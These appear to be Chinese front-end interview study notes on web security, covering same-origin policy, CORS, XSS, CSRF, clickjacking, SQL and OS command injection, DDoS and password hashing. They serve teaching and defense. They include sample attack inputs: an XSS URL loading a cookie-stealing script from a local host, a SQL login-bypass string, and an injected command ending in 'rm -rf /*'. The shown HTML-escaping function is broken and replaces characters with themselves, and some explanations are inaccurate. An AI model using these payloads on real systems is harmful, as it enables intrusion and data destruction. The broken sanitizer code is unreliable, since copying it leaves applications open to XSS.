网络安全
网络安全一般都是后端来做,前端来做是没有意义的,不过前端还是需要了解的,需要与后端沟通和配合,前端面试是会问到的
同源策略
如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。
- 同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。
- 同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。
- 同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。
同源策略限制内容有:
吴瀚清所著《白帽子讲web安全》中有关浏览器安全的一段话,对其中“不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读写返回的内容”
JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据
(同源策略限制了客户端javascript代码的部分行为)
- Cookie、LocalStorage、IndexedDB 等存储性内容
- DOM 节点
- AJAX 请求发送后,结果被浏览器拦截了
解决同源策略的方法:
跨文档消息机制:可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。跨域资源共享(CORS):跨域资源在服务端设置允许跨域,就可以进行跨域访问控制,从而使跨域数据传输得以安全进行。内容安全策略(CSP):主要以白名单的形式配置可信任的内容来源,在网页中,能够使白名单中的内容正常执行(包含 JS,CSS,Image 等等),而非白名单的内容无法正常执行。
为什么浏览器会有同源策略
- 为了限制其他源文档或脚本与当前源的资源进行交互
- 一个是 iframe 节点访问控制,如果没有同源策略限制的话,iframe 可以随意访问其他非同源 iframe 的 dom 节点
- 如钓鱼网站嵌套了一个银行网站的 iframe ,从外部就可以读取到内部密码输入框的值
- http 响应控制,如果没有同源策略限制的话,在第三方网站直接对其他网站发起请求,可以读取到响应,这样就可以获取用户的个人信息,造成隐私泄露
- 一个是 iframe 节点访问控制,如果没有同源策略限制的话,iframe 可以随意访问其他非同源 iframe 的 dom 节点
跨域
什么是跨域?
跨域,即浏览器试图执行其他网站的脚本。但是由于同源策略的限制,导致我们无法实现跨域。
关于跨域的几个问题
为什么a.wang.com访问wang.com也算跨域?
因为历史上,出现过不同的公司共用域名,a.wang.com和 wang.com不一定是同一个网站,浏览器谨慎起见,认为这是不同的源。
为什么不同端口也算跨域?
原因同上,一个端口一个公司的情况也不是没有的。
记住:安全链条的强度取决于最弱的一环,所有和安全相关的问题都要谨慎对待。
为什么两个网站的IP一样,也算跨域?
原因同上,因为 IP也是可以共用的。
为什么可以跨域使用CSS、JS和图片等?
同源策略限制的是数据访问,我们引用 CSS、JS和图片的时候,其实并不知道其内容,我们只是在引用。
<script>、<img>、<ifram>、<link>等标签都可以跨域加载资源
通过JS设置document.domain属性:
<script type="text/javascript">
document.domain = 'example.com';
</script>
跨域的解决方案
1、JSONP
- JSONP是JSON with padding(填充式JSON或参数式JSON)的简写
利用
<script>标签没有同源限制的漏洞,向服务器请求JSON数据。JSONP请求一定需要对方的服务器做支持才可以
1.1 JSONP和AJAX对比
JSONP和AJAX相同,都是客户端向服务器端发送请求,从服务器端获取数据的方式。但AJAX属于同源策略,JSONP属于非同源策略(跨域请求)
1.2 JSONP优缺点
- JSONP优点是简单兼容性好 ,可以支持老式浏览器,缺点是不够安全,仅支持get方法具有局限性,不安全可能会遭受XSS攻击。
- jsonp的缺点:只能发送get一种请求。
2、CORS
它使用额外的HTTP头来告诉浏览器 让运行在一个 origin (domain) 上的 Web 应用被准许访问来自不同源服务器上的指定的资源
-
cors,跨域资源共享,它需要浏览器和服务器同时支持, 目前,所有浏览器都支持该功能
-
cors是在服务端上配置,在服务器端需要设置响应头来配置cors
-
通过设置响应头来指定允许访问的源,以及允许的请求方法
-
常见的响应头包括
Access-Control-Allow-Origin: 指定允许访问的源Access-Control-Allow-Methods:指定允许的请求方法,如 GET、POST 等Access-Control-Allow-Headers:指定允许的请求头字段
-
浏览器在发生跨域请求时会检查响应头是否允许本次请求
-
如果符合设置的规则,就会允许跨域请求继续进行,否则会拦截请求并抛出跨域错误
- 拦截请求并抛出跨域错误时,通常的状态码是 0
-
cors目的
- 可以允许服务器指定哪些源有权限访问其资源
- 允许浏览器向跨源服务器发起请求
- 提供一种机制,让浏览器与服务器进行安全跨域数据传输
cors请求
浏览器将cors请求分成两类:简单请求和复杂请求
-
只要同时满足以下两大条件,就属于简单请求。
(1) 请求方法是以下三种方法之一:
- HEAD
- GET
- POST
(2)HTTP的头信息不超出以下几种字段:
- Accept
- Accept-Language
- Content-Language
- Last-Event-ID
- Content-Type:只限于三个值
application/x-www-form-urlencoded、multipart/form-data、text/plain
3、服务器代理 (nginx反向代理)
配置nginx的proxy-pass
4、webpack的proxy
5、nodejs 中间层请求转发跨域
BFF层 (Backend For FrontEnd),简单地来说BFF就是:给前端服务的后端,用来对接处理前端的请求
- 在响应头增加配置
- 设置
*简单粗暴,但是会有安全问题,一般不会这么设置,会进行配置特定的白名单允许访问
- 设置
// 设置指定允许其他域名访问
res.header("Access-Control-Allow-Origin","*");
res.header("Access-Control-Allow-Methods","PUT,GET,POST,DELETE,OPTIONS");
res.header("Access-Control-Allow-Headers","Content-Type");
常见Web攻击
1、XSS
2、CSRF
3、点击劫持
4、SQL注入
5、OS注入
6、请求劫持
7、DDOS
XSS攻击
Cross Site Scripting
跨站脚本攻击
XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS(层叠样式表(英文全称:Cascading Style Sheets))重叠,所以只能叫 XSS。跨站脚本攻击是指通过 存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或JavaScript进行的一种攻击。
- 注意:XSS攻击防护手段是 后端来操作
XSS会造成的影响
-
跨站脚本攻击有可能造成以下影响: 利用虚假输入表单骗取用户个人信息。
- 插入一段恶意
JavaScript脚本,窃取你的隐私信息、冒充你的身份进行操作
- 插入一段恶意
-
利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 拿到用户的Cookie,就可以干很多事情了,如何网站是通过cookie来判断是否登录的话,就不需要用户的登录和密码,拿到cookie值就会自动登录了
- 显示伪造的文章或图片。
1、获取页面数据
2、获取cookies
3、劫持前端逻辑
4、发生请求
5、偷取网站的任意数据
6、偷取用户的资料、偷取用户的登录状态、欺骗用户
7、非法转账
XSS如何产生
- 在浏览器内运行非法的非本站点HTML标签或JavaScript进行的一种攻击。
- 因为浏览器无法区分脚本是被恶意注入的还是正常的内容,它都会执行,况且
HTML非常灵活,可以在任何时候对它进行修改。
XSS攻击分类
反射型:
-
url参数直接注入
当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。Web服务器将注入脚本,比如一个错误信息,搜索结果等,未进行过滤直接返回到用户的浏览器上。
// 普通
http://localhost:3000/?from=china
// alert尝试 http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie入侵 chrome document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxO DYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
存储型:
(存储型就比反射性更厉害了,因为是长期保存在数据库)
- 存储到DB后读取时注入
又叫持久型 XSS,顾名思义,黑客将恶意
JavaScript脚本长期保存在服务端数据库中,用户一旦访问相关页面数据,恶意脚本就会被执行。常见于搜索、微博、社区贴吧评论等。
如:留言板或评论功能
- 提交留言 / 评论-> 存储到数据库 -> 读取数据 ->渲染到页面
DOM型
- 其实DOM型也属于反射性的一种,不过比较特殊,所以一般也当作一种
- 也是通过url来注入,通过JS来修改DOM
DOM 型 XSS 攻击,实际上就是前端
JavaScript代码不够严谨,把不可信的内容插入到了页面。在使用.innerHTML、.outerHTML、.appendChild、document.write()等API时要特别小心,不要把不可信的数据作为 HTML 插到页面上,尽量使用.innerText、.textContent、.setAttribute()等。
XSS攻击如何进行防护?
1、黑名单:
一切用户输入永远都不可信,在输出时进行验证 (最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠)
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
return str
}
富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情 况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在 太多,更加推荐使用白名单的方式
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1><script>alert("xss");</script> console.log(html)
这个示例使用了xss库可以实现,可以看到在输出中保留了h1标签且过滤了script标签
2、将 HTML 元素内容、属性以及 URL 请求参数、CSS 值进行编码
3、当编码影响业务时,使用 白名单规则进行检测和过滤
4、使用 W3C 提出的 CSP (Content Security Policy,内容安全策略),定义域名白名单
内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻 击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软 件分发版本等用途。
CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少XSS 攻击
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
5、设置 Cookie 的 HttpOnly 属性
这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应 用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie
信息
(即:cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息)
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
-
6、(浏览器自带防御)设置HEAD
ctx.set('X-XSS-Protection', 0) // 禁用XSS过滤X-XSS-Protection: 0禁止XSS过滤。X-XSS-Protection: 1启用XSS过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。X-XSS-Protection: 1; mode=block启用XSS过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。X-XSS-Protection: 1; report=<reporting-uri>启用XSS过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用CSP report-uri指令的功能发送违规报告
CSRF攻击
CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,它利用用户已登录的身份, 在用户毫不知情的情况下,以用户的名义完成非法操作,发送恶意的请求,类似于钓鱼
- 钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个的点击事件请求,构造一个发帖、发评论的请求,由于你已经登录了,利用你当前的登录状态,去执行相关功能操作,比如去操作业务
-
用户已经登录了站点 A,并在本地记录了 cookie ,并创建了session
-
在用户没有登出站点 A 的情况下(也就是 cookie 生效的情况下),点击访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。(利用用户的登录状态来进行相关的请求 -> 就可以进行相关的功能操作了)
- 这个时候就会有一个疑问,浏览器本身有同源策略啊,为什么在网站b还可以请求网站a的api,要记住浏览器对img、iframe和script的src是没有同源限制的!所以黑客完全可以利用动态添加这些标签的方法来实现跨站请求伪造。
- CSRF并没有打破同源策略。同源策略限制了站点不能读取不同源的资源例如cookie,但是没有限制不能向不同源站点发送请求
- 这个时候就会有一个疑问,浏览器本身有同源策略啊,为什么在网站b还可以请求网站a的api,要记住浏览器对img、iframe和script的src是没有同源限制的!所以黑客完全可以利用动态添加这些标签的方法来实现跨站请求伪造。
-
站点 A 没有做任何 CSRF 防御
CSRF的攻击方式
-
HTML CSRF
-
通过HTML标签可以发起get请求
-
<link href=''><img src='' /><frame src='' /><script src='' /><video src='' />
-
-
CSS 的背景图片
background-image:url('') -
JSON HiJacking :JSON 劫持
-
HiJacking:劫持
-
构造自定义的回调函数
-
JSONP由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数,而数据就是传入回调函数中的JSON数据。
-
<script>function hiJack(data){console.log(data)}<script/><script scr='http://www.a.com/json?callback=hijack'><script/>
-
-
Flash CSRF
- 通过Flash来实现跨域请求
- 利用flash的http请求
- 构造的Flash文件
- flash文件(.swf)包含着json格式的数据(攻击者想要发送给目标的数据),并链接到某个放在服务器上的文件
- 通过Flash来实现跨域请求
CSRF会造成影响
- 1、利用用户登录态 用户
- 2、不知情 完成业务请求
- 3、盗取用户资金(转账,消费)
- 4、冒充用户发帖背锅 损害网站声誉
CSRF的预防措施
-
验证码
- 这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串,这个方案可以完全解决CSRF
-
所有表单都包含同一个伪随机值
-
增加请求参数token
- 可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
- 但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上
<input type="hidden" name="csrftoken" value="tokenvalue"/> - 常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。
-
检查请求来源
-
一般地,网络请求头都会有了Referer,可以告诉服务器我是从哪个页面链接过来的(请求的来源是哪里),服务器就可以获得一些信息用于处理检查来源
-
检查是否从本域名链接过来的,如果不是,则拒绝请求,也就说任何请求只能在本域执行
-
Referer 的正确英语拼法是
referrer。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。还有它第一个字母是大写 -
通过Referer可以防盗链、防止恶意请求
-
XSS和CSRF的区别
- XSS:利用对用户的输入的不严谨然后执行非法的JS
- CSRF:CSRF可以不用JS就能达到目的
- CSRF需要登陆后操作,XSS不需要
点击劫持 (clickjacking)
点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中, 并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击
典型点击劫持攻击流程
1、攻击者构建了一个非常有吸引力的网页【不知道哪些内容对你们来说有吸引力,我就不写页面了,偷个懒】
2、将被攻击的页面放置在当前页面的 iframe标签 中
3、使用样式将 iframe 叠加到非常有吸引力内容的上方
4、将iframe设置为100%透明
你被诱导点击了网页内容,你以为你点击的是,而实际上,你成功被攻击了
预防策略:
1、服务端添加 X-Frame-Options 响应头,这个 HTTP 响应头是为了防御用 iframe 嵌套的点击劫持攻击。 这样浏览器就会阻止嵌入网页的渲染。
该响应头有三个值可选,分别是
- DENY,DENY意思是不允许、拒绝,表示页面不允许通过 iframe 的方式展示
- SAMEORIGIN 表示页面可以在相同域名下通过 iframe 的方式展示
- ALLOW-FROM 表示页面可以在指定来源的 iframe 中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')
2、JS 判断顶层视口的域名是不是和本页面的域名一致,不一致则不允许操作,top.location.hostname === self.location.hostname;
3、敏感操作使用更复杂的步骤(验证码、输入项目名称以删除)。
SQL注入
拼接 SQL 时未仔细过滤,黑客可提交畸形数据改变语义。比如查某个文章,提交了这样的数据
id=-1 or 1=1等。1=1 永远是true,导致where语句永远是ture.那么查询的结果相当于整张表的内容,攻击者就达到了目的。或者,通过屏幕上的报错提示推测 SQL 语句等。
// 填入特殊密码
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang' AND password = '1'or'1'='1'
防止SQL注入
所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌 入到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位符号参 数。
// 错误写法
const sql = `
SELECT *
FROM test.user
WHERE username = '${ctx.request.body.username}' AND password = '${ctx.request.body.password}'
`
console.log('sql', sql) res = await query(sql)
// 正确的写法 const sql = ` SELECT *
FROM test.user WHERE username = ? AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])
OS命令注入
OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入攻击指 通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。倘若调用Shell时存在疏漏,就可以执行插入的非法命令。
// 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repo const exec = require('mz/child_process').exec;
let params = {/* 用户输入的参数 */};
exec(`git clone ${params.repo} /some/path`);
- 如果传入的参数是会怎样
https://github.com/xx/xx.git && rm -rf /* &&
请求劫持
DNS劫持
顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip
HTTP劫持 运营商劫持,此时大概只能升级HTTPS了
DDOS
- 阮一峰:http://www.ruanyifeng.com/blog/2018/06/ddos.html
- distributed denial of service
DDOS 里面的 DOS 是 denial of service(停止服务)的缩写,表示这种攻击的目的,就是使得服务中断。最前面的那个 D 是 distributed (分布式),表示攻击不是来自一个地方,而是来自四面八方,因此更难防
- DDOS 不是一种攻击,而是一大类攻击的总称。它有几十种类型,新的攻击方法还在不断发明出来。网站运行的各 个环节,都可以是攻击目标。只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的
常见攻击方式
- SYN Flood
此攻击通过向目标发送具有欺骗性源IP地址的大量TCP“初始连接请求”SYN数据包来利用TCP握手。目标机器 响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源。
- 简单来说:服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。
- HTTP Flood
此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器,导致拒绝服 务
防御手段
- 备份网站
备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求。最低限度应该可以显示公告,告诉用户,网 站出了问题,正在全力抢修。
- HTTP 请求的拦截 高防IP -靠谱的运营商 多个 Docker
硬件 服务器 防火墙
- 带宽扩容 + CDN
提高犯罪成本
防御手段
1、密码安全 - 密码加固
2、密码学 (对称与非对称)
3、传输安全 -HTPPS
4、Node.js安全框架hemelt
5、CSP策略 content-security-policy
密码安全
- 密码安全
- 泄露渠道
- 数据库被偷
- 服务器被入侵
- 通讯被窃听
- 内部人员泄露
- 其他网站(撞库)
- 防御
- 严禁明文存储
- 单向变换
- 变换复杂度要求
- 密码复杂度要求
- 加盐(防拆解)
- 哈希算法
- 明文 - 密文 - 一一对应
- 雪崩效应 - 明文小幅变化 密文剧烈变化
- 密文 -明文无法反推
- 密文固定长度 md5 sha1 sha256
- 密码传输安全
- https传输
- 频次限制
- 前端加密意义有限 - 传输层加密 不会泄露 但不代表不能登录
- 摘要加密的复杂度
- md5反查
思考如下问题?
1、2次MD5是否可取?
- 答案: 不可取, 因为2次MD5并不能解决被反推明文的本质性问题,这是因为你明文相对简单,如果明文相对复杂的话,基本上不能反推明文了
2、只加盐好不好?
- 答案:不好
- 数据库泄露了,盐就会被暴露了
- 要防止盐泄露的情况
3、盐泄露是否会泄露密码?
- 答案: 不会
- 在不知道程序的情况下,是不会泄露
4、密码很复杂还需要保证密码的复杂性吗?
- 答案:需要
- 如果你的数据库和程序都被攻破了,那唯一保证密码不被丢失的就是密码复杂度
说说彩虹表攻击?
-
彩虹表:庞大的,预先计算好的哈希值集合,即明文和密文对应的表
-
彩虹表(Rainbow Table)是一种破解哈希算法的技术,是一款跨平台密码破解器,主要可以破解MD5、HASH等多种密码。它的性能非常让人震惊
- 拿到密码的哈希值时,从哈希值反查原始密码
人机验证与验证码
滑动验证码实现原理 1.服务端随机生成抠图和带有抠图阴影的背景图片,服务端保存随机抠图位置坐标; 2.前端实现滑动交互,将抠图拼在抠图阴影之上,获取到用户滑动距离值; 3.前端将用户滑动距离值传入服务端,服务端校验误差是否在容许范围内
关于Web密码学你了解哪些呢?
- 对称加密算法
- 对称加密算法就是加密和解密使用同一个密钥,简单粗暴
- 常见的经典对称加密算法有
DES、AES(AES-128)、IDEA、国密SM1、国密SM4
- 非对称加密算法
- 非对称加密就是加密和解密使用不同的密钥。发送方使用公钥对信息进行加密,接收方收到密文后,使用私钥进行解密。
- 主要解决了密钥分发的难题
- 我们常说的签名就是私钥加密
- 常见的经典非对称加密算法有
RSA、ECC和国密SM2
- 散列算法(加盐处理)
- 不可逆性、鲁棒性、唯一性
MD5、SHA(SHA-256)、国密SM3- 使用时记得加盐 (原来的密码里,加入一些其他的字符串,并且我们可以自己设置加入字符串的强度)
AES 是国际上最认可的密码学算法,只要算力没有极大的突破性进展,这种算法在可预期的未来都是安全的。
ECC 是目前国际上加密强度最高的非对称加密算法。
MD5 和 SHA 的唯一性被破解了,但是大部分场景下,不会构成安全问题。一般使用 SHA-256 加盐即可满足大部分使用场景。
项目中web攻击场景
-
输入表单项
- 用户提交的数据没有经过充分的验证和过滤,可能导致跨站脚本攻击(XSS)和 SQL 注入等漏洞
- 后端对用户提交的数据进行验证,确保数据的合法性,避免 SQL 注入等攻击
-
文件上传
-
未充分验证和限制用户上传的文件可能导致恶意文件上传,从而引发安全问题
-
对文件上传的类型进行限制,只允许上传特定类型的文件,防止上传恶意文件
-
在服务器端对上传文件的大小进行限制,防止上传过大的文件,导致服务器资源耗尽
-